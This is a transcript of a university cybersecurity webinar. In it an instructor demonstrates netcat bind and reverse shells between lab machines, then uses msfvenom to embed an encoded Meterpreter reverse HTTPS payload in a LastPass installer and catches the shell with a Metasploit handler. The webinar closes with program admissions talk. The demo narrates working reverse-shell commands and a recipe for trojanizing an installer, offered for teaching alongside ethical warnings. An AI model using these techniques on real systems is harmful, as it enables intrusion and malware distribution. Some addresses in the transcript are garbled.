SBU Cybersecurity: Intro to Bind and Reverse Shells - Kali Linux
Katie Macaluso: Hello everyone and welcome. We have a very full presentation ahead today, so we are going to go ahead and get started right away now. Before we jump in, I want to cover a couple of quick housekeeping items to keep in mind in our presentation today. The first is you're in broadcast only mode so that means that you can hear us, we just can't hear you. Should you have any questions during the presentation, please go ahead and type them in the Q&A box at the side of your screen, and we'll try to get back to you either during the presentation, or we will also be saving time to answer questions at the end.
So, on our next slide is a list of presenters for today, I'm Katie Macaluso, I'm your moderator for the presentation. I'm joined by Marcos Baez, our admissions advisor, and then also Mikhail Sudakov, a faculty member for the Masters of Science and Cybersecurity program at SBU. Mikhail holds an offensive security certification and works in the security field as a cyber security architect and analyst at LEO Cyber Security. He has presented on the topic of Cryptology at security conferences across North America and holds a wealth of experience in enterprise level software solutions development.
So, here's a quick look at our agenda for the day, we've done our welcome introduction. We'll be moving on to a demo on bind and reverse shells. Then we'll share a little bit of information about SBU's online cyber security program and finally save some time for Q&A, at the end of the presentation. So, with that, I want to thank you for joining us, and I'm going to turn it over to Mikhail.
Mikhail Sudakov: Great. So just a quick overview of what you're about to see. I'm sure you have seen plenty of movies where a hacker types some nonsense with incredible speed, and then you see 50 million windows on the monitors flash with some sort of green text, charts, graphs, and well, other ridiculousness. As great as it looks in the movies, it's not how this works. It's not how any of this works. Contrary to Hollywood, the approach to remote target exploitation, I.e., hacking, is highly methodical, systematic, and orderly. And it's almost never chaotic and unpredictable. An attacker never takes an offensive action of questionable success. This proverb, it goes "measure seven times before you cut once," goes a long way in penetration testing. Let's say you are a penetration tester, hired to perform an offensive engagement for a client. As eager as you might be to successfully penetrate the network, if you go into the engagement with guns blazing, you are very likely to disrupt their day-to-day operations and will quickly find yourself, well, fired.
Blindly launching exploits and attacks all over the place will end your career surprisingly fast. The famous Hippocratic oath of medicine applies here just as well. First and foremost, do no harm. When you are on an offensive engagement, you are not a battalion of tanks, instead you are a ninja. A samurai. Stealth and precision are your weapons. And reconnaissance and enumeration of targets are your main battle tactics. And of course, bind and reverse shells are always your desired attack results. Hackers first rule, a sword may succeed where a tank is doomed to fail. Okay, with that, let's launch this.
[Video demo begins]
Mikhail Sudakov: Hello and welcome to a high level overview on bind and reverse shells and their implementation in exploitation of remote targets. We will be using the Kali Linux distribution of UNIX. It is Debian-Linux distribution, and it is developed and maintained by Offensive Security Company. Before we get into this, let me stress that Kali Linux is a highly professional and incredibly powerful tool for vulnerability assessment and penetration testing. Therefore, if you decide to re-create some of these results, you should take great care not to cause terrible harm. It is worth mentioning that scanning and/or attacking systems and networks that you do not control is not only highly unethical but also quite illegal. Okay, let's jump into this. To effectively demonstrate the use of bind and remote shells for our purposes here, we will be using the netcat network utility tool. Also, we will be utilizing two entities to help us demonstrate the client-server model in remote exploitation.
For our purposes, we'll be using Alice and Bob. Alice here, is represented by our Kali-Linux box, and I'm going to here pop open a quick shell, so root at Kali will be Alice for our purposes. Bob will be played by this Windows 7 lab machine, that is located on the same network, and on the same VLAN for me so they can communicate safely and securely without any trouble of outside compromisation. Now we need to find out their addresses. So, on the Kali box, I will type in IF config command for the interface configuration, and we see here that Alice's or Kali's address is 192.168.1.50. We will do the same with Bob. Here, we're going to open a quick command shell, and on Windows, it is IP config. After we execute this command, we see that Bob is located at 192.168.1.50. Now before we proceed, it is important that both Alice and Bob can in fact reach each other, as we will see for the use of bind and remote shells, it is not always the case.
So, from Alice, I'm going to go ahead and issue an ICMP request, via ping. We're going to ping Bob 192.168.1.51. And if you know how UNIX ping commands work, I'd better specify an upper limit of count of five, otherwise it will just keep doing that. Let's go ahead and execute this command and sure enough, we are getting ICMP responses from Bob. So, the Kali-Linux machine can in fact reach Bob. Of course, we need to do the same thing here. We were going to do, we're going to do ping 220.127.116.11.50. The address of our Kali box and in Windows, we do not specify. We do not need to specify the upper bound, by default it's going to do upper bound of five, so we will go ahead and execute that, and sure enough, we're getting ICMP responses from our Kali-box.
So, at this point we have this Alice entity and this Bob entity. Each of them is on the same network segment, and they are in fact able to communicate with each other. Great, this will serve well for our purposes here. Before we can really understand what our bind and reverse shells, we have to revisit what is a shell in general? What do we mean by a shell? So, what we see here before us on the side here, we said Alice is our Kali-box, but we're looking at what's called the graphical user interface or GUI. This is just Kali's desktop, and I can navigate the system graphically. Similarly, for Bob, this looks like Windows to you, and you can navigate this system graphically.
So, this is called a shell. In the Windows world, we refer to it as a command prompt or cmd.exe. This is Kali's shell or more generally a Linux or a UNIX shell. And we call it BASH or Born-Again shell. Now, if we wanted to see exactly where is the binary for this shell located and how it's executed, the command for that is which bash. And we see that in our Kali-Linux instance the binary is located in the bin bash directory, so it is in our path and that's why we're able to do simply things like bash. And if we wanted to see in the Windows world, where this exactly located, that would be under computer, your system drive or C in most cases under the Windows directory, under system32.
And here we have the CMD application, and if we double click on that we get the system shell for Windows. So even though we are able to navigate both of the systems right now via the graphical user interface, it is worth noting that in the vast majority of real-world applications today, for any kind of remote work, you very rarely, if ever get to work with graphical user interfaces. And that's why we're going to be doing these demonstrations entirely through the bash shell for our Kali-box, and the command prompt shell for our Windows box.
Okay. Next, we need to configure our netcat network utility tool in order to start demonstrating these bind and reverse shells. Starting on our Kali-box, the binary for this is actually already in our path and the command to execute netcat is simply NC. Now, we don't really know anything about this tool. So, most binaries like this, they have this -L, -helpflag, if you don't know how this works, let's execute this.
Great. So, this output tells us that NC, is in fact, in our path and these are some of the ways we can use this, and we will start using it shortly. However, if we go to our Windows box, and if we try typing in NC-H, we will get an error because netcat is not yet in our path for Bob or the Windows machine. So, let's close this for a second. So, I have already downloaded a Windows version of netcat NC.exe. So, what I will do, I will copy it from this tools directory on my desktop, then I will navigate to the... To the system directory. So, to the C Windows, system32, and what we will do, we will simply paste this here, and I need administrative privileges. So, this is one thing to note, that I have administrative privileges on this Windows machine. Okay. So, we just copy, paste it, NC.exe under system 32 of Windows of the system drive or in our case C.
Now, let's see what happens now if we try the same trick. NC-H, and we get a similar output to our Kali box except with a few less results. So, this tells you that this is now in our path, and we're able to execute NC.exe from anywhere where we are in the Windows shell. So, from this, we can start using the netcat to demonstrate the client-server model and the shells. Okay. It's time to take a look what netcat can do for us. So, we have two shells open, we have the Bash shell open in our Kali box, and we have the command from shell open on our Windows box, and now we can access netcat on both boxes.
Let us try this experiment. On our Windows machine, we will type the following nc for netcat minus lvp 4444. This is what this means, nc is for netcat, minus lvp, it's three things here. L is for listen, V is for verbose, P is for port. This command means that I am telling netcat to listen verbosely on port 4444 of this machine and remember that we know the addresses of these two machines. I will execute this. And because we typed in the v or verbosely, it's going to tell me that it is now listening on any port 4444, any means either TCP or UDP. Now on our Kali machine, we will type in something else. NC for netcat, minus nv192.168.1.514444.
What does this mean? NC is for netcat. This minus n is I'm saying that I am giving a numeric address of the target or simply the IP address, numeric IP address. V is I'm connecting verbosely, so I'm connecting to this numeric IP address on port 4444. Let's go ahead and execute this. And as I'm executing this, keep an eye on what's happening with Bob here. Enter. Okay. It took just a second. Now here we're saying that we've connected to an unknown host. This is what we were connecting to on this port, and netcat reports this port as open. And on Bob, we see that we have just registered a connection, right? From this unknown on.1.50 and that is the remote port, but that is ephemeral, and so both shells are now hanging.
So, what is going on? What can we do here? Now, pay very close attention to this. Here on the Kali, I'm going to type in, in plain text "Hi, who is this?" And before I press enter, pay attention to Bob, and I'm going to press enter now. Interesting isn't it? I am now clicking here, and I'm going to type in something from Bob. So, notice, I am not typing on Alice. I am going to type in, "Hi, I am Bob. Who are you?" And now once again, before I hit enter, notice we have nothing on Alice's side, and I'm going to hit enter now. Let's do it one more time. I'm going to from Alice, type in, "Hi Bob, I am Alice." And once again enter. Now understand what went on here. Understand two things. Who was the client in this communication? Who was the server? On which machine was port 4444 actually open? And on which machine, an ephemeral port, a high port got opened to initiate this communication. Essentially, if you're wondering what is the purpose of what we just did. We created a simple chat program between Alice and Bob using netcat, and our commands here or our text was simply ferreted across my network, and they were able to talk to one another. This is the first step to understanding bind and reverse shells.
So, we have seen that Netcat allows us to transfer, well words, up to this point. The next question to ask, is can it transfer something else? Here is the next experiment. From our Windows 7 lab machine, or Bob, we are going to do the following. We are going to create a text file. So, we will do this, we will echo the string "Hello world!" and we will push that string to a file we will call payload.txt. And I am noticed in the Desktop directory, and as soon as I execute this, if you look over here closely, you will see the file being created. There it is. And if we really wanted to take a look, if I open this file, sure enough it has our string "Hello world!" in it. Okay, let's do this. On our Kali machine we will initiate a Netcat listener. So that is: NC minus LVP on Port 4444. Actually, before we do that, let's do this. I'm going to change directory to the Documents folder, and then we're going to list sub-directories here. There are none, okay. Now we will initiate our Netcat listener, so NC, we're going to listen verbosely on Port 4444.
Now we are going to take whatever is coming from this remote connection, and we are going to push it to this other file, payload.txt. I only name them here the same, but that does not need to be so whatsoever. Okay we're going to go ahead and execute this command. So, as you saw before, we are now listening on any Port 4444. Now from Bob's side we're going to do the following. So, we have just generated this payload.txt file with the string "Hello world!" in quotes. So, we are going to initiate connection to our Kali box, so Netcat we're going to connect on the numeric IP address to...
So, we're going to connect verbosely NC minus NV, we're going to need to punch in the address of Kali 192.168.1.50 on Port 4444. And now we are going to change direction of this little... We will do a Less than sign, and we will say our payload.txt file. So here we're pushing the file into this connection, and on this side, we are accepting whatever is coming from this connection, into this file. Let's see what happens when we execute this. So once again we are reporting the Port as open on our Kali box, and on the Kali side we are registering the connection and pushing it to a file. Nothing else seems to be happening, but let's try this. We will terminate the connection from Bob's side, and I'm just going to press Control C here.
And you can see immediately the connection closed on Alice's side. Now noticed we listed directories here before, let's do so again. List sub-directories, and lo and behold, our payload has arrived. And if we wanted to see the contents of this file, well let's do Cat payload.txt, and "Hello World!" appears here. Now again understand two things, understand what we were just able to do, we no longer transferred just words, we transferred a file, contents of a file.
Now from the opposite perspective, who was the client? Who was the server? On which machine was the Port 4444 actually open? These will be crucial to understand as we are actually starting to take a look at bind and reverse shells. Now we have seen that we can pipe a couple of different things with Netcat. We saw that we can do simply text, we also saw that we can transfer entire files. Now the question begs asking: What else can we transfer? And the answer is, pretty much anything including interactive command line sessions. Now to demonstrate what a bind shell is, let's do the following. On Bob's side I'm going to type in the command "Who am I?" and it says that it is Windows 7 Pro, and we are Admin. On our Kali box I'm going to do the same, "Who am I" and here we are Root, the system user, basically god-mode.
Now, let us utilize netcat one more time, but we're going to do something different here. For this experiment, we're going to do the following. Nc minus lvp 4444. Nothing new here. We have seen what this does. This starts a netcat listener verbose on port 4444. Now we're going to do minus e for execution parameter, and as soon as this connection takes place, we are going to pipe into this connection our cmd.exe command shell. Let's see what this does? We're going to execute this here. Now as soon as any connection is made to this device on port 4444, this cmd.exe interactive command shell will be opened. Let's hope only Alice connects to us. Now, on Alice's side, we're going to do the following. Nc minus nv, nothing new here, 192.168.1.51, Bob's address on port 4444, that's it, nothing else. Watch this. Enter. Give it a second.
Okay. Before we jump into anything, so once again, we are reporting here that we've connected to an unknown host on 1.51 address on port 4444, and the port is reported as open. And here we are registering the connection from 1.50 on some ephemeral port. Now, we don't need to do anything here with Bob. But look what we got here at Alice? C: UsersAdmin. Doesn't that look like a Windows command shell. Oh yes, it does. Let's type in, "Who am I." Windows 7 pro/admin. Just to confirm, let's do a Windows command line, command ipconfig 192.168.1.51. What we have here is an interactive command shell from Bob to Alice being piped through netcat. Now, the reason this shell is called a bind shell, and not a reverse shell, is because Bob was listening for connections, and as any connections were bound or inbound, he allowed them to access his cmd.exe shell. And this is a very simple bind shell. I will let you ponder the powers of what you just saw here for yourself.
Now, after considering the bind shell, it is time to see the reverse shell, and this is how this experiment goes. So once again, Alice, Bob, we know this. Now, we will do this with Bob, nc minus lvp, so netcat listening verbosely on port 4444, and that's it. We can go ahead and execute this. We've seen this before. Bob will just hang here until a connection comes in. Now, on Alice's side, we will do the following. Once again, we knew where Bob's cmd.exe command was. Let's see once again where it is with Alice. So, in the Linux world or Unix world, the command shell is bash. So, if we do which bash, we see that bash is located in /bin/bash. Okay. Knowing that, here's what we'll do. Nc minus NV, so connecting on a numeric IP address verbosely to Bob, 192.168.1.51 on port 4444. And here again comes the minus e parameter for an execution. We're going to execute something, and what we are executing on the Linux side is bin not bon, bin bash.
So, before I hit enter, consider what we're doing. We are listening on Bob side for anything. In fact, I could just pipe Bob a file or just start another chat with him. Instead, we're going to pipe in our own shell. Let's see what happens. Enter. We see that we are connecting to the unknown host on port. Netcat reports the port as open, and on the Bob side, we see that the connection is made. And the shell appears to be hanging, but not really. It is quite alive. Now, what if from the Bob's interface here, we were to type in some kind of command. Let's see, ipconfig, and on Alice we get this, "command not found." Well, obviously it's not found. If you haven't realized what we have here from Bob's side, we have the remote bash shell back to Alice and ipconfig is a Windows command, not a Linux or Unix command.
However, what if we were to just see what is our privilege on the system? I'm going to type in next, "Who am I?" And lo and behold, we are Root on Kali Linux box. And if I were to type in the command ID, it would tell me that my UID, GID and the groups are O zero or Root IM system, basically God mode. And if we wanted to confirm with the IP address, so it's not ipconfig, it is ifconfig.
And sure enough it reports that we are 168.1.50. This is the reverse shell. How is it different from bind shell? Once again consider who is the client, who is the server. In the bind shell we were listening while offering our own shell, in the reverse shell we're listening for anything and whoever is connecting to us is offering their command shell being piped into this netcat communication strea
There is a huge difference between bind and reverse shells and their importance in remote target penetration testing and exploitation cannot be understated. Now, keep in mind netcat should be used very carefully as this protocol as this program is run completely in clear text and I will not be demonstrating that that is in fact so, just trust me on this. Once again, I repeat that unless you really know what you're doing, do not play around with this unless it's on your own private lab where everything is tightened down and secured. It would be a horrible blunder to just try to do something in a live system somewhere else, or even worse try to attack somebody else. Once again, I cannot emphasize enough, not only is it highly unethical. It is quite illegal, and you can shoot yourself in the foot and get into a great deal of trouble.
Okay, now seeing what we have seen about bind and reverse shells. I think it's time to show you a real world exploit of our Windows 7 lab machine. Now I need to remind you, unless you know what you're doing do not play with this. Okay, so what I have done is I have just downloaded a 64-bit version of the last pass windows desktop client. So it is lastpass_x64.exe and I have it here on my Kali box. Now I am going to paste something here and I don't expect you to understand any of this, but I can quickly go through stuff. So, Metasploit framework is a huge part of the Kali Linux distribution. And here we're calling MSF venom file injector. We're specifying that the architecture we're aiming at is x86, the platform is Windows.
Here we're specifying this file in our desktop as the source file. So I am not creating my own exploit, I am attaching a reverse shell to this LastPass 64-bit executable. So -p we're saying that the pay load we want to encode is Windows Meterpreter shell and specifically reverse HTTPS. I am specifying the L host for local host, this is the host that the exploit is trying to... Is going to try to connect to. And this is our Kali address.1.50.
Now I'm going to specify L-Port as 80:80. And we are going to execute an additional parameter here. It is important in the real world scenarios that we encode our malicious payloads. In this case we're going to use x86 Shikata Ga Nai encoder, iterated three times and replacing this bad bit this null byte or hex 00. We are saying that the type of file is EXE or Windows executable and we're going to output at... To output our newly generated malicious file as LastPass.exe. Okay. I'm going to execute this, and this will take several seconds to maybe a minute and I am going to fast forward its creation so that we don't have to spend the time watching as it does its encoding. So I will be right back.
Okay, great, so seeing all this our LastPass.exe maliciously encoded file has been created and it is now also on our desktop. I can drag it, so you can see. There it is LastPass.exe. Now, this is a live-armed-malicious file that we are going to attack our Windows 7 lab machine with. Now, that said what I have done here, I have pre-loaded that file onto this box. You see this is my home network and I have certain defensive mechanisms, preventions and mitigations and detections set up.
So if I were to actually try to copy this malicious file over my network, I would trip off a ton of alarms and most likely, I would crash all of my sessions because like I said, this is a truly malicious file. So just trust me, that this LastPass.exe is the same as what we have just generated. So I just took some time, shut down some of the defenses so that I was successfully able... Able to successfully copy the file to my Windows 7 lab machine.
Okay, so let us go about to try now execute that file and set up a listener on our Kali box. I'm going to clear this output. So in order again to demonstrate this, I'm going to run some commands and I will not be explaining in too much detail what I'm doing, I just want to see a real life exploit performed in real time. So what I am going to do is, I am going to engage this MSF console framework of the Metasploit framework and as it is starting, I might pause, no, it is starting fairly quickly. Okay. Here we are. I am going to... We're going to use the exploit module, engage the multi-handler for our listener. We're going to set the payload that we've set before. It is Windows Meterpreter.
Meterpreter. And we use the reverse HTTPS shell of... The reverse HTTPS remote shell. We're going to set the local host of ourselves, 192.168.1.50. We're going to set... Oops, I made a mistake there. That should be set. We are going to set the local port to what we set before, 8080. We're going to set exit on session creation to false. And now we're ready to exploit silently with a job, probably ID0, and Zed to sleep. Enter.
So it's saying several things. Our exploit is running as background job zero. There is no session yet created from the exploit, but we started a reverse handler listener on this 192.168.1.50 on 8080. And that's it. Let's see what happens if we try to run this file from our Windows machine. I'm going to run it as administrator. And so, if we see what we have here... So I'm going to pause that.
So we see that a Meterpreter session one opened as the following job. And now if we go to sessions, we see that a Meterpreter X86 Windows reverse shell is running. And if I do sessions I1, I am able to enter my Meterpreter shell. And at this point, as you've seen, I have a successful remote shell on the Windows 7 lab machine, meaning we have completely compromised this machine. And if you have the Shell, we are able to execute an arbitrary command and completely crash the system. So once again, just wanted to show you how it applies in the real world, and I want to say once again, unless you know what you're doing, do not try this at home. Thank you.
Katie Macaluso: Alright. Thank you, Mikhail, for this great demo. If you have any questions, please feel free to send those our way via the question box on the side of your screen. I am, at this point, going to turn over the presentation to Marcos, to share a little bit more about the Masters in Cybersecurity Program.
Marcos Baez: Alright, Kate. Thank you so much. Hello, everyone. I do see some familiar names in attendance, so I'm glad you guys were able to get in attendance for today's webinar. First things first, I wanted to start just a little background of the school. If you aren't familiar, St. Bonaventure is a private Catholic Franciscan University founded in 1858. So we do have a long-standing traditional school reputation in that regard. We're not just an online-only institution. Following the Franciscan tradition is something that's very important to us. In encouraging our students to manifest themselves with strong moral values, which I think is a great tie-in to cybersecurity, which I'm sure that Mikhail can attest to. Having strong ethics is definitely a must in this industry. As he mentioned, hacking into certain networks could be a very big negative, so definitely something you want to stay away from.
Just to touch on some of our reputation pieces, the US News and World Report did rank us the number one school of best value in the state of New York, and the number two school in the north. And I really think that speaks to our combination of cost and the quality of our curriculum. And we are regionally accredited as well by the Middle State Commission on Higher Education, which is what you want to look for in a Master’s Program.
Just to kind of get into some of the specific requirements for our program, you're looking at a total of 30 to 33 credit hours, that's about 10 or 11 courses to complete. The first course is the foundation course in Computer Networking. If your background is sufficient, once you apply, we can definitely look into getting that course waived for you based on that background of yours. Fully online, our program designed for individuals working full-time, who can't make it to a campus. Each class is seven weeks in length, with a one week break in between.
So very streamlined, very much should be something you can fit into your schedule. The course work itself is designed with real world expectations and experiences in mind. This is stuff you should be able to utilize on-the-job if you're in the industry. We even have facilities on campus, dedicated to our Cybersecurity Programs. And those facilities, the Western New York Cybersecurity Research Center and the SOC, the Security Operations Center, I think really kind of emphasize the importance of cybersecurity here at St. Bonaventure.
We also have some certification tie-ins. I'm sure many of you hold certifications. If you do not hold these certifications, our curriculum and a majority of our courses align with about 40% of the preparation needed to take these exams to qualify for these certifications. We even have some discounts that apply to exam costs and grant you some access to websites like Cisco and the EC council so that you can go in and cover the rest of the preparation on your own.
In regard to the admissions process, it's a very streamlined process in itself. All that we ask is that you have a Bachelor's degree in a relevant field from an accredited institution; and if you do not have that, we do look at work experience.
You know, same for your Bachelor's. And then there's clearance requirement. I think that really speaks to the kind of curriculum, we're going to be offering. We want to ensure that there's nothing unethical in your background as it relates to cybersecurity. Now, the last bullet point there refers to the GRE or GMAT, which is an entrance exam for a lot of Master's programs. We do not require it here at the Cybersecurity program at St. Bonaventure.
Katie Macaluso: All right. We have saved a little bit of time for a Q&A to close out our presentation. As we mentioned before, if you have any questions either about the presentation itself or any questions about the Cybersecurity program, please do send those our way via the question box. We'll try to answer as many as we are able on the webinar today. And we can also certainly follow-up if we don't get to your question today as well.
So with that said, I'm going to take a look and see what questions we have. Looks like the first question is regarding application of the program. Question is, "How long does it take to get a decision once you apply to the program?" Going to send that to you Marcos.
Marcos Baez: Generally, you know, on most occasions, the decision can be made within a one day turnaround depending on how busy our Admissions Director can be. It could be a little longer than that. That's why I like to really emphasize the urgency in getting a file completed, getting all necessary documents in to me, so that way, we could present your file on a timely matter to admissions committee.
Katie Macaluso: Great. Let's see. The next question is again programmatic. This person is asking, "What should I expect in terms of exams and for other homework assignments in the online course?" Mikhail, would you be able to speak to that one?
Mikhail Sudakov: Sure, but honestly, it really depends on the course. So I teach one of the courses in the Cybersecurity Master's program, the course on Applied Cryptography. And what applies to my course probably will not apply to some of the others, so I really can't say. I think it's a wide variety of just different things depending on who your professor is, and what their approach is to teach any one specific course. As the disciplines in this course varies greatly, one approach for say course A, might not necessarily, will fit to course B. So, I really don't know. I think it's a variety of individual projects, group projects, a lot of individual lab experience. And yeah, things like that. I hope that helps.
Katie Macaluso: That's great. Thank you so much. The next question is the participant is asking, "How much group work, if at all is involved in the online program?" I'm going to turn that to you Mikhail too if you could speak to that?
Mikhail Sudakov: Yeah. Kind of same answer. [chuckle] I am not sure. So I know, I can tell you in my course, the amount of group activity is zero. My course is based solely on independent study, but I do not know much about the other courses and how other faculty teach them. I'm sorry. That's the best I can give you.
Katie Macaluso: Sure. Yeah. It may vary by professor. Okay. Our next question is, "Can I finish this program within a year?" Marcos?
Marcos Baez: So the program itself was designed to be completed in as little as 18 months’ time, so about a year and a half. And the whole principle behind that is to allow you to focus on one course at a time. As you can see through this demo, there's a lot of information to be learned. I think it's in your best interest to go through the program at that pace.
Katie Macaluso: Okay, terrific. All right. Looks like that is all of the questions that we've had come in through Q&A. So, unless anyone has any other burning questions that they want to submit, we can go ahead and wrap-up the presentation. We want to thank you all for joining us today. I hope you enjoyed the presentation and that it was helpful and informative. I would encourage you to reach out to us via phone or email that's on the screen. If you have any additional questions, I know our advisors would be happy to support you. And we look forward to hearing back from you. Have a great rest of your day.
Marcos Baez: Thank you all.
Katie Macaluso: Thank you.